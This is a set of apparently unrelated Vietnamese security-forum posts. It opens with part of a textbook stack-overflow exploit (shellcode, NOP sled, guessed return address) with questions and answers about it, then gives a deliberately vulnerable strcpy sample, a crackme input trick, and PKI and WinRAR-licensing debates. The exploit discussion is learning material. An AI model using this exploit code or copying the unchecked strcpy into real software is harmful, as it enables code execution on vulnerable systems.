"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
unsigned long sp() {
__asm__("movl %esp, %eax");}
int main (int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buf, *ptr;
offset = 0 ; // Cụ thể cho cái vuln này
esp = sp();
ret = esp - offset;
printf ("ESP : 0x%x\n", esp);
printf ("offset : 0x%x\n", offset);
printf ("RetAddr: 0x%x\n", ret);
buf = malloc(600);
ptr = buf;
addr_ptr = (long *)ptr;
/* Initialize cái return address */
for (i=0; i<600; i+=4)
*(addr_ptr++) = ret;
/* NOP sled */
for (i=0; i<202; i++)
buf[i] = '\x90';
/* Bỏ đám shellcode vô đây */
ptr = buf + 202;
for (i=0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buf[600-1] = 0;
execl("./vuln", "./vuln", buf, 0);
//vuln(buf);
return (0);
}
Câu hỏi
1. Ở vuln, khi run mà không có tham số nào cả thì vì sao bị seg fault? đáng lẽ ra strcpy sẽ không copy gì cả mới đúng chứ? Hay là argv[1] tự động trỏ tới phần memory trên stack, và phần này vô tình nullify nhiều hơn 500 bytes nên mới có tình trạng seg fault?
2. exploit dùng chính ESP để đoán address cho NOP sled. Nhưng, khi exploit gọi execl, execl sẽ fork vuln, và vuln sẽ có stack riêng, vậy kỹ thuật này đâu đoán đúng địa chỉ của NOP sled?
3. Theo "Art of Exploitaion" edition 1, đoạn exploit trên khi run sẽ trả về một shell. Khoai có thay đoạn shellcode (cũng là exec /bin/sh) nhưng khi run exploit thì chỉ nhận được:Code:
ESP : 0xbfa7c608
offset : 0x0
RetAddr: 0xbfa7c608
Segmentation fault
Có phải đây là do việc đoán address bị sai? Khoai đã thử tạo một hàm vuln, và thay vì execl thì khoai cho chính exploit gọi vuln, và điều chỉnh lại offset cho đúng với ESP của vuln, nhưng vẫn không spawn shell được mà chỉ bị seg fault. Lỗi là ở đâu?
4. Ngoài cách dùng ESP để đoán address thì có cách nào khác? Ví dụ khi exploit một client server application thì chương trình exploit đâu có gọi được chương trình bị bof? Vậy càng không thể đoán address dựa trên ESP?
Cám ơn bà con đã đọc.
khoai
1. Để verify, bồ thử chạy chương trình trong gdb, rồi xem nó bị segfault chỗ nào. Nếu tôi nhớ không lầm thì nó bị segfault ngay trong strcpy, chứ không phải segfault khi hàm main return.
2. Đúng. Do không đoán đúng được địa chỉ của RET, nên người ta mới dùng NOP sled, để tăng xác suất RET sẽ nhảy về ngay trong đoạn NOP sled.
3. gamma95 đã giải thích nguyên nhân rồi.
4. Câu hỏi này muốn trả lời rốt ráo thì phải xem cái chương trình cần exploit nó được compile ra sao và chạy trong môi trường nào. Nói cách khác, compiler và bản thân kernel của hệ điều hành ảnh hưởng rất lớn đến các kỹ thuật exploitation.
Cùng là một chương trình kể trên, compiled bằng gcc 2.95 và chạy trên kernel không có bất kỳ biện pháp bảo vệ nào khác, thì có hàng chục cách để khai thác. Nhưng cũng là chương trình đó, compiled bằng gcc > 4.1 và chạy trên kernel kiểu của project Hardened Gentoo với tất cả các option được kích hoạt thì có khi không thể exploit được.
Tôi đang viết một tài liệu nhỏ để tổng kết những vấn đề này (như là một ghi chú cho bản thân thôi), khi nào xong tôi sẽ gửi lên HVA.
--m
|
|
|
Sửa lại mẫu của anh lamer tí:
Code:
int main(int argv,char **argc) {
char buf[256];
strcpy(buf,argc[1]);
}
|
|
|
Thực tế khi làm public service, nhất là dạng service hướng đến consumer, không ai làm theo hướng dựng private CA, rồi cấp phát certificate cho từng người cả.
Làm security, như anh lamer nói, không chỉ đơn thuần là vấn đề kỹ thuật, mà phải biết tính toán, chọn lựa giữa các trade-off, để làm sao giải pháp của mình, vừa an toàn, nhưng cũng vừa đơn giản, dễ sử dụng với chi phí chấp nhận được.
Làm hệ thống PKI rồi cấp cho từng khách hàng một certificate, đúng là nhìn có vẻ an toàn , nhưng tại sao những ông lớn như Google, Yahoo, Microsoft đều kô chọn cách làm này khi triển khai các sản phẩm dành cho đại chúng của họ?
Mà tôi thấy rất lạ, hễ nhắc đến security, bàn đến security, là thể nào cũng sẽ có người đưa ra cái ý kiến là phải dựng private CA :p.
--m
|
|
|
vikjaga wrote:
+ triển khai mua và áp dụng CA của Verisign như thế nào.
+ các biện pháp triển khai security như thế nào ...
+ Lên trực tiếp www.verisign.com mà mua, chỉ cần credit card và chuẩn bị sẵn giấy tờ: giấy phép kinh doanh, giấy chứng nhận sở hữu tên miền...
+ Hỏi thế này thì chung quá. Có rất nhiều thứ phải lo.
vikjaga wrote:
- Theo em nghĩ thỉ hiện nay giao dịch qua internet tại việt nam chắc không ai dám dùng nhất là các doanh nghiệp.
Kô có đâu bồ, người ta xài ầm ầm từ vài năm nay rồi đó bồ. Giao dịch mỗi tháng lên đến cả trăm tỉ đồng, chưa kể doanh nghiệp.
Mà có chỗ này tôi không hiểu, sao làm e-banking mà lại đi kêu gọi đấu thầu nhỉ? Tự vì làm e-banking nó sẽ gắn trực tiếp với hệ thống core banking hiện có của ngân hàng, nếu mà người trong ngân hàng kô có khả năng làm, thì tôi e là người ngoài sẽ khó mà làm.
BTW, tranh thủ quảng cáo tí, nếu bên bồ cần người tư vấn làm cái này, tôi nghĩ tôi có thể giúp :p. Tôi từng triển khai một hệ thống e-banking cho hơn 300.000 khách hàng (and counting) với đầy đủ các nghiệp vụ/dịch vụ trên đó. Tôi hơn anh conmale ở chỗ tôi đang ở VN .
--m
|
|
|
Ôi giời, tôi thấy mấy cái nút cảm ơn như vậy chẳng có giá trị chi hết trơn. Nếu muốn cảm ơn, thì tốt nhất là đọc cho kỹ những gì người ta viết, tìm ra những chỗ sai, tìm ra những nơi có thể đào sâu, để mà cùng nhau thảo luận.
--m
|
|
|
Nếu chỉ cần hiện ra "Great work!" thì có cách đơn giản thế này:
$ python -c 'print "\x00\x0a\x00\x0a"' | ./small
-> Small crackme for Stingduk <-
Give me your name (max 50 chars): Pass me the serial (max 50 chars): Great work!
|
|
|
Tôi đã nói trong một post ở page 10 là ông Quảng đã nhầm lẫn giữa *bản quyền* và *giấy phép sử dụng*. WinRAR trước giờ họ chỉ cấp *giấy phép sử dụng* chứ họ chưa hề bán hay sang nhượng *bản quyền* của họ cho ông Quảng và BKIS.
Tôi thấy một số người cứ đưa ra hết giả thuyết này đến giả thuyết khác, nếu thế này rồi nếu thế khác, để hòng chứng minh là ông Quảng và BKIS không vi phạm bản quyền của WinRAR.
Ban đầu là nói việc tách và nhúng rar.exe như vậy, không cần ông Quảng và BKIS có mua *giấy phép sử dụng* hay không, là không vi phạm bản quyền. Lập luận này đã được tôi bác bỏ, khi chỉ ra các điểm 4a và 4b trong *giấy phép sử dụng* của WinRAR mà BKIS vi phạm.
Rồi tiếp theo, khi ông Quảng đưa ra thông tin là ông Quảng có mua *giấy phép sử dụng* của WinRAR, một số người lại nháo nhào lên, "đó thấy chưa, BKIS có quyền mà". Anh nbthanh đã chứng minh là *giấy phép sử dụng* nếu có của ông Quảng không thể là loại giấy phép cho phép ổng được làm các việc mà BKIS đang làm, bởi lẽ WinRAR chưa bao giờ cung cấp một giấy phép như thế. Tôi cũng đã chứng minh, với giấy phép sử dụng bình thường, ông Quảng và BKIS đã vi phạm điều số 9.
Tiếp tục, một số người lại đưa ra giả thuyết, ông Quảng và BKIS mua loại giấy phép "Multiple Usage License". Tôi đã chứng minh, có cái giấy phép đó đi chăng nữa, ông Quảng và BKIS cũng đã vi phạm điều số 3.
Và cuối cùng, giả thuyết bây giờ là ông Quảng và BKIS mua luôn cái bản quyền của WinRAR. Nếu một license như anh nbthanh hỏi đám WinRAR mà đám đó còn chưa cấp, thì khả năng để đám đó bán luôn cái bản quyền của họ là cực kỳ thấp, nếu không muốn nói là chỉ có trong suy nghĩ của những người ngây thơ cụ.
Tôi nghĩ rất có thể, một chút nữa sẽ xuất hiện giả thuyết: ông Quảng và BKIS đã mua luôn cả cái công ty WinRAR.
---
Gửi những người đọc topic này,
Nếu mọi người đọc kỹ, sẽ thấy, như anh nbthanh đã nói, toàn bộ những luận cứ của nhóm người ủng hộ BKIS (và cho rằng BKIS không phạm luật) đều được xây dựng dựa trên các giả thuyết *nếu như*, mà tôi đã tóm tắt lại ở trên.
Còn những luận cứ của nhóm người cho rằng BKIS phạm luật đa số đều là "nói có sách, mách có chứng", dựa trên những chứng cứ rõ ràng và đi thẳng trực tiếp vào vấn đề.
---
Gửi các bạn là mod của HVA đang theo dõi topic này,
Để bảo vệ chủ đề thảo luận, tôi đề nghị các bạn thẳng tay lock nick và delete những bài viết đặt ra các giả thuyết mà không có bất kỳ luận cứ nào để ủng hộ, ngoài nhận định cảm tính của người viết.
Cảm ơn,
--m
|
|
|
chinhtruc wrote:
mrro wrote:
Điều số 4 của giấy phép WinRAR quy định:
WinRAR's license wrote:
The RAR/WinRAR unregistered trial version may be freely distributed, with exceptions noted below, provided the distribution package is not modified in any way.
a. No person or company may distribute separate parts of the package with the exception of the UnRAR components, without written permission of the copyright owner.
b. The RAR/WinRAR unregistered trial version may not be distributed inside of any other software package without written permission of the copyright owner.
c. Hacks/cracks, keys or key generators may not be included on the same distribution.
Bồ mrro đọc cho kỹ, chỗ đậm đỏ.
Trên vietnamnet có nói là ông Quảng đã có bản quyền winrar. Cho nên điều này không áp dụng được.
Có hai điểm bồ nên hiểu:
1. Phiên bản rar.exe phân phối đính kèm với BKAV Pro là phiên bản không có bản quyền, nên điều này vẫn được áp dụng.
2. Dẫu cứ xem BKAV Pro đã mua license, và đính kèm phiên bản rar.exe mà họ đã mua vào BKAV Pro, thì họ vẫn vi phạm toàn bộ điều thứ 9 trong license của WinRAR:
WinRAR's license wrote:
9. You may not use, copy, emulate, clone, rent, lease, sell, modify, decompile, disassemble, otherwise reverse engineer, or transfer the licensed program, [b]or any subset of the licensed program, except as provided for in this agreement. Any such unauthorized use shall result in immediate and automatic termination of this license and may result in criminal and/or civil prosecution.
Neither RAR binary code, WinRAR binary code, UnRAR source or UnRAR binary code may be used or reverse engineered to re-create the RAR compression algorithm, which is proprietary, without written permission of the author.
RAR and WinRAR keyfiles may not be distributed, except as stated in item 3) above, outside of the area of legal control of the person or persons who purchased the original license, without written permission of the copyright holder.
All rights not expressly granted here are reserved by Alexander Roshal.
Chú ý hai điểm ở điều số 9 này:
1. WinRAR không cho phép người sử dụng được phép copy, clone, sell hay transfer cái registered RAR/WinRAR hoặc một phần của register RAR/WinRAR.
2. WinRAR nói rằng, nếu không có written permission, không ai có quyền phân phối keyfile của WinRAR, ngoại trừ trường hợp người đó đã mua "Multiple USAGE license" ở điều thứ 3:
WinRAR's license wrote:
There are 2 basic types of licenses issued for WinRAR, these are:
a. A single computer USAGE license. The user purchases ONE license to USE the WinRAR archiver on ONE computer.
b. A Multiple USAGE license. The user purchases a number of USAGE licenses for use, by the purchaser, the purchaser's employees or accredited agents, on the same number of computers.
The number of licenses in network environment must not be less than the maximum possible amount of simultaneous users.
Once registered, the user is granted a non-exclusive license to use WinRAR on as many computers as defined by the licensing terms above according to the number of licenses purchased, for any legal purpose. The registered WinRAR software may not be rented or leased, but may be permanently transferred, in it's entirety, if the person receiving it agrees to the terms of this license. If the software is an update, the transfer must include the update and all previous versions.
Rõ ràng, nếu BKIS nói họ phân phối cái keyfile, sau khi người sử dụng bỏ tiền ra mua bản BKAV Pro thì BKIS cũng đã vi phạm cái điều thứ 3 này.
Thậm chí, cứ cho rằng họ đã có mua "Multiple USAGE license" (điều này là không tưởng, như phân tích về giá cả mà anh TQN đã nói từ đầu topic), thì cái cách âm thầm đưa rar.exe vào, cũng vi phạm cái đoạn The registered WinRAR software may not be rented or leased, but may be permanently transferred, in it's entirety, if the person receiving it agrees to the terms of this license.
Bồ chinhtruc nếu không còn gì nói nữa, không có luận cứ mới, thì tốt nhất hãy im lặng. Nếu bồ cứ lập lại những luận cứ đã được tôi và các anh em ở đây trả lời rồi thì tôi sẽ không trả lời bồ nữa.
--m
|
|
|
|
|
|
|